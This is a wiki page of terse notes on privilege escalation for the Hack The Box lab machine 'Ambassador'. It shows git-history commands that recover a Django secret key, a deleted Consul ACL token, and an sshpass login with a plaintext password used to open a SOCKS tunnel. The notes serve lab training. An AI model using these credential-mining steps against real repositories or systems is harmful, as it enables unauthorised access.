User Tools

Site Tools


ex:htb:ambassador:privesc_consul

This is an old revision of the document!


Consul Privesc

Whackywidget

 
 
git log -S key
git diff-tree -p 8dce6570187fd1dcfb127f51f147cd1ca8dc01c6
 
+# SECURITY WARNING: keep the secret key used in production secret!
+SECRET_KEY = 'django-insecure--lqw3fdyxw(28h#0(w8_te*wm*6ppl@g!ttcpo^m-ig!qtqy!l'
 
 
git log -S token
commit 33a53ef9a207976d5ceceddc41a199558843bf3c (HEAD -> main)
Author: Developer <developer@ambassador.local>
Date:   Sun Mar 13 23:47:36 2022 +0000
 
    tidy config script
 
commit c982db8eff6f10f8f3a7d802f79f2705e7a21b55
Author: Developer <developer@ambassador.local>
Date:   Sun Mar 13 23:44:45 2022 +0000
 
    config script
 
git diff-tree -p 33a53ef9a207976d5ceceddc41a199558843bf3c
33a53ef9a207976d5ceceddc41a199558843bf3c
diff --git a/whackywidget/put-config-in-consul.sh b/whackywidget/put-config-in-consul.sh
index 35c08f6..fc51ec0 100755
--- a/whackywidget/put-config-in-consul.sh
+++ b/whackywidget/put-config-in-consul.sh
@@ -1,4 +1,4 @@
 # We use Consul for application config in production, this script will help set the correct values for the app
-# Export MYSQL_PASSWORD before running
+# Export MYSQL_PASSWORD and CONSUL_HTTP_TOKEN before running
 
-consul kv put --token bb03b43b-1d81-d62b-24b5-39540ee469b5 whackywidget/db/mysql_pw $MYSQL_PASSWORD
+consul kv put whackywidget/db/mysql_pw $MYSQL_PASSWORD
 
 
 
#git diff 33a53ef9a207976d5ceceddc41a199558843bf3c c982db8eff6f10f8f3a7d802f79f2705e7a21b55
sshpass -p 'anEnglishManInNewYork027468' ssh -D8080 developer@10.129.228.56

ex/htb/ambassador/privesc_consul.1672392759.txt.gz · Last modified: 2022/12/30 10:32 by ebaer

Donate Powered by PHP Valid HTML5 Valid CSS Driven by DokuWiki